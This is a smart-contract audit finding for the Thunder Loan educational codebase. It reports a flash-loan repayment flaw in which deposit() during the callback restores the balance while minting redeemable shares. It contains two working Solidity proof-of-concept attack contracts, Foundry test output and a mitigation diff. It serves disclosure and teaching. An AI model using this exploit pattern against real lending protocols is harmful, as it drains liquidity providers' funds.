Thunder Loan

AI First Flight #7
Beginner FriendlyFoundryDeFiOracle
EXP
View results
Submission Details
Severity: high
Valid

Flash loan can be repaid by depositing borrowed funds for redeemable shares

Root + Impact

Description

Flash loans must be repaid in the same transaction. A successful repayment should restore the borrowed principal plus fee without giving the borrower a new claim on the pool's liquidity.

ThunderLoan.flashloan() enforces repayment only by checking the AssetToken's final underlying balance. During the receiver callback, the borrower can call deposit() with the borrowed principal. This restores the AssetToken balance, but also mints redeemable AssetToken shares to the borrower. The borrower then repays only the fee through repay(), the final balance check passes, and after the flash loan completes the borrower redeems the shares minted from the borrowed funds. This drains LP reserves while leaving the remaining LP shares under-backed.

Source permalink: https://github.com/Cyfrin/2023-11-Thunder-Loan/blob/e8ce05f5530ca965165d41547b289604f873fdf6/src/upgradedProtocol/ThunderLoanUpgraded.sol#L146-L153

function deposit(IERC20 token, uint256 amount) external revertIfZero(amount) revertIfNotAllowedToken(token) {
AssetToken assetToken = s_tokenToAssetToken[token];
uint256 exchangeRate = assetToken.getExchangeRate();
uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION()) / exchangeRate;
emit Deposit(msg.sender, token, amount);
@> assetToken.mint(msg.sender, mintAmount);
@> token.safeTransferFrom(msg.sender, address(assetToken), amount);
}

Source permalink: https://github.com/Cyfrin/2023-11-Thunder-Loan/blob/e8ce05f5530ca965165d41547b289604f873fdf6/src/upgradedProtocol/ThunderLoanUpgraded.sol#L178-L214

function flashloan(address receiverAddress, IERC20 token, uint256 amount, bytes calldata params) external {
AssetToken assetToken = s_tokenToAssetToken[token];
@> uint256 startingBalance = IERC20(token).balanceOf(address(assetToken));
// ...
uint256 fee = getCalculatedFee(token, amount);
assetToken.updateExchangeRate(fee);
emit FlashLoan(receiverAddress, token, amount, fee, params);
s_currentlyFlashLoaning[token] = true;
assetToken.transferUnderlyingTo(receiverAddress, amount);
receiverAddress.functionCall(
abi.encodeWithSignature(
"executeOperation(address,uint256,uint256,address,bytes)",
address(token),
amount,
fee,
msg.sender,
params
)
);
@> uint256 endingBalance = token.balanceOf(address(assetToken));
@> if (endingBalance < startingBalance + fee) {
revert ThunderLoan__NotPaidBack(startingBalance + fee, endingBalance);
}
s_currentlyFlashLoaning[token] = false;
}

Source permalink: https://github.com/Cyfrin/2023-11-Thunder-Loan/blob/e8ce05f5530ca965165d41547b289604f873fdf6/src/upgradedProtocol/ThunderLoanUpgraded.sol#L217-L222

function repay(IERC20 token, uint256 amount) public {
if (!s_currentlyFlashLoaning[token]) {
revert ThunderLoan__NotCurrentlyFlashLoaning();
}
AssetToken assetToken = s_tokenToAssetToken[IERC20(token)];
@> token.safeTransferFrom(msg.sender, address(assetToken), amount);
}

The PoC uses ThunderLoanUpgraded to isolate this issue from the separate deposit-time exchange-rate bug in the original ThunderLoan.deposit(). The vulnerable settlement pattern exists in both implementations: flashloan() accepts any balance restoration, while deposit() can restore the balance and mint shares during the callback.

Risk

Likelihood:

  • This occurs whenever an attacker can deploy a flash-loan receiver, borrow from a funded allowed market, and pay the flash-loan fee.

  • The callback can call any external protocol function, including deposit(), because neither deposit() nor flashloan() prevents deposits during an active flash loan.

Impact:

  • The attacker can convert flash-loaned principal into redeemable AssetToken shares, repay only the fee, and then redeem those shares after the flash loan.

  • LP reserves are drained and remaining LP shares become under-backed. In the PoC, a 100e18 flash loan against a 1000e18 pool leaves 1000.3e18 of share liability backed by only 900.3e18 underlying after the attacker redeems the shares minted during the callback.

Proof of Concept

Add the following test file:

// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
import { AssetToken } from "../src/protocol/AssetToken.sol";
import { BaseTest } from "./unit/BaseTest.t.sol";
import { ERC1967Proxy } from "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";
import { ERC20Mock } from "@openzeppelin/contracts/mocks/ERC20Mock.sol";
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import { SafeERC20 } from "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import { ThunderLoanUpgraded } from "../src/upgradedProtocol/ThunderLoanUpgraded.sol";
contract I08RepayBoundToActiveLoanContextTest is BaseTest {
uint256 private constant LP_DEPOSIT = 1_000e18;
uint256 private constant FLASH_LOAN_AMOUNT = 100e18;
address private lp = address(0xA11CE);
address private borrower = address(0xB0B);
ThunderLoanUpgraded private upgradedThunderLoan;
AssetToken private assetTokenA;
function setUp() public override {
super.setUp();
ThunderLoanUpgraded upgradedImplementation = new ThunderLoanUpgraded();
ERC1967Proxy upgradedProxy = new ERC1967Proxy(address(upgradedImplementation), "");
upgradedThunderLoan = ThunderLoanUpgraded(address(upgradedProxy));
upgradedThunderLoan.initialize(address(mockPoolFactory));
upgradedThunderLoan.setAllowedToken(tokenA, true);
assetTokenA = upgradedThunderLoan.getAssetFromToken(tokenA);
tokenA.mint(lp, LP_DEPOSIT);
vm.startPrank(lp);
tokenA.approve(address(upgradedThunderLoan), LP_DEPOSIT);
upgradedThunderLoan.deposit(tokenA, LP_DEPOSIT);
vm.stopPrank();
}
function test_I08_03_depositCannotSatisfyFlashLoanRepaymentWhileMintingRedeemableShares() public {
DepositRepayReceiver receiver = new DepositRepayReceiver(address(upgradedThunderLoan));
uint256 fee = upgradedThunderLoan.getCalculatedFee(tokenA, FLASH_LOAN_AMOUNT);
tokenA.mint(address(receiver), fee);
vm.prank(borrower);
upgradedThunderLoan.flashloan(address(receiver), tokenA, FLASH_LOAN_AMOUNT, "");
assertGt(assetTokenA.balanceOf(address(receiver)), 0, "setup: receiver did not mint asset shares");
assertEq(tokenA.balanceOf(address(receiver)), 0, "setup: receiver should have deposited loan and repaid fee");
receiver.redeemShares(tokenA);
assertLe(_shareLiability(assetTokenA), tokenA.balanceOf(address(assetTokenA)), "deposit-as-repay drained LP reserves");
}
function _shareLiability(AssetToken assetToken) private view returns (uint256) {
return (assetToken.totalSupply() * assetToken.getExchangeRate()) / assetToken.EXCHANGE_RATE_PRECISION();
}
}
contract DepositRepayReceiver {
using SafeERC20 for IERC20;
ThunderLoanUpgraded private immutable i_thunderLoan;
constructor(address thunderLoan) {
i_thunderLoan = ThunderLoanUpgraded(thunderLoan);
}
function executeOperation(
address token,
uint256 amount,
uint256 fee,
address,
bytes calldata
)
external
returns (bool)
{
IERC20(token).approve(address(i_thunderLoan), amount);
i_thunderLoan.deposit(IERC20(token), amount);
IERC20(token).approve(address(i_thunderLoan), fee);
i_thunderLoan.repay(IERC20(token), fee);
return true;
}
function redeemShares(IERC20 token) external {
i_thunderLoan.redeem(token, type(uint256).max);
}
}

Run:

forge test --match-contract I08RepayBoundToActiveLoanContextTest --match-test test_I08_03_depositCannotSatisfyFlashLoanRepaymentWhileMintingRedeemableShares -vvv

Result:

[FAIL: deposit-as-repay drained LP reserves: 1000300000000000000000 > 900300000000000000001]
test_I08_03_depositCannotSatisfyFlashLoanRepaymentWhileMintingRedeemableShares()

The receiver borrows 100e18, deposits that borrowed amount during the callback, receives AssetToken shares, repays only the 0.3e18 fee, and passes the final balance check. After the flash loan, the receiver redeems the minted shares for almost 100e18, leaving LP share liability greater than live reserves.

Recommended Mitigation

Prevent deposits during an active flash loan, and bind repayment to explicit settlement rather than accepting arbitrary balance restoration.

function deposit(IERC20 token, uint256 amount) external revertIfZero(amount) revertIfNotAllowedToken(token) {
+ if (s_currentlyFlashLoaning[token]) {
+ revert ThunderLoan__CurrentlyFlashLoaning();
+ }
AssetToken assetToken = s_tokenToAssetToken[token];
uint256 exchangeRate = assetToken.getExchangeRate();
uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION()) / exchangeRate;
emit Deposit(msg.sender, token, amount);
assetToken.mint(msg.sender, mintAmount);
token.safeTransferFrom(msg.sender, address(assetToken), amount);
}

Also track the active loan's expected repayment amount and require repay() to account for that obligation, rather than relying only on the final AssetToken balance. Regression tests should assert that callback-time deposits cannot satisfy flash-loan repayment or mint redeemable shares from borrowed principal.

Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge 1 day ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-04] All the funds can be stolen if the flash loan is returned using deposit()

## Description An attacker can acquire a flash loan and deposit funds directly into the contract using the **`deposit()`**, enabling stealing all the funds. ## Vulnerability Details The **`flashloan()`** performs a crucial balance check to ensure that the ending balance, after the flash loan, exceeds the initial balance, accounting for any borrower fees. This verification is achieved by comparing **`endingBalance`** with **`startingBalance + fee`**. However, a vulnerability emerges when calculating endingBalance using **`token.balanceOf(address(assetToken))`**. Exploiting this vulnerability, an attacker can return the flash loan using the **`deposit()`** instead of **`repay()`**. This action allows the attacker to mint **`AssetToken`** and subsequently redeem it using **`redeem()`**. What makes this possible is the apparent increase in the Asset contract's balance, even though it resulted from the use of the incorrect function. Consequently, the flash loan doesn't trigger a revert. ## POC To execute the test successfully, please complete the following steps: 1. Place the **`attack.sol`** file within the mocks folder. 1. Import the contract in **`ThunderLoanTest.t.sol`**. 1. Add **`testattack()`** function in **`ThunderLoanTest.t.sol`**. 1. Change the **`setUp()`** function in **`ThunderLoanTest.t.sol`**. ```Solidity import { Attack } from "../mocks/attack.sol"; ``` ```Solidity function testattack() public setAllowedToken hasDeposits { uint256 amountToBorrow = AMOUNT * 10; vm.startPrank(user); tokenA.mint(address(attack), AMOUNT); thunderLoan.flashloan(address(attack), tokenA, amountToBorrow, ""); attack.sendAssetToken(address(thunderLoan.getAssetFromToken(tokenA))); thunderLoan.redeem(tokenA, type(uint256).max); vm.stopPrank(); assertLt(tokenA.balanceOf(address(thunderLoan.getAssetFromToken(tokenA))), DEPOSIT_AMOUNT); } ``` ```Solidity function setUp() public override { super.setUp(); vm.prank(user); mockFlashLoanReceiver = new MockFlashLoanReceiver(address(thunderLoan)); vm.prank(user); attack = new Attack(address(thunderLoan)); } ``` attack.sol ```Solidity // SPDX-License-Identifier: MIT pragma solidity 0.8.20; import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import { SafeERC20 } from "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import { IFlashLoanReceiver } from "../../src/interfaces/IFlashLoanReceiver.sol"; interface IThunderLoan { function repay(address token, uint256 amount) external; function deposit(IERC20 token, uint256 amount) external; function getAssetFromToken(IERC20 token) external; } contract Attack { error MockFlashLoanReceiver__onlyOwner(); error MockFlashLoanReceiver__onlyThunderLoan(); using SafeERC20 for IERC20; address s_owner; address s_thunderLoan; uint256 s_balanceDuringFlashLoan; uint256 s_balanceAfterFlashLoan; constructor(address thunderLoan) { s_owner = msg.sender; s_thunderLoan = thunderLoan; s_balanceDuringFlashLoan = 0; } function executeOperation( address token, uint256 amount, uint256 fee, address initiator, bytes calldata /* params */ ) external returns (bool) { s_balanceDuringFlashLoan = IERC20(token).balanceOf(address(this)); if (initiator != s_owner) { revert MockFlashLoanReceiver__onlyOwner(); } if (msg.sender != s_thunderLoan) { revert MockFlashLoanReceiver__onlyThunderLoan(); } IERC20(token).approve(s_thunderLoan, amount + fee); IThunderLoan(s_thunderLoan).deposit(IERC20(token), amount + fee); s_balanceAfterFlashLoan = IERC20(token).balanceOf(address(this)); return true; } function getbalanceDuring() external view returns (uint256) { return s_balanceDuringFlashLoan; } function getBalanceAfter() external view returns (uint256) { return s_balanceAfterFlashLoan; } function sendAssetToken(address assetToken) public { IERC20(assetToken).transfer(msg.sender, IERC20(assetToken).balanceOf(address(this))); } } ``` Notice that the **`assetLt()`** checks whether the balance of the AssetToken contract is less than the **`DEPOSIT_AMOUNT`**, which represents the initial balance. The contract balance should never decrease after a flash loan, it should always be higher. ## Impact All the funds of the AssetContract can be stolen. ## Recommendations Add a check in **`deposit()`** to make it impossible to use it in the same block of the flash loan. For example registring the block.number in a variable in **`flashloan()`** and checking it in **`deposit()`**.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!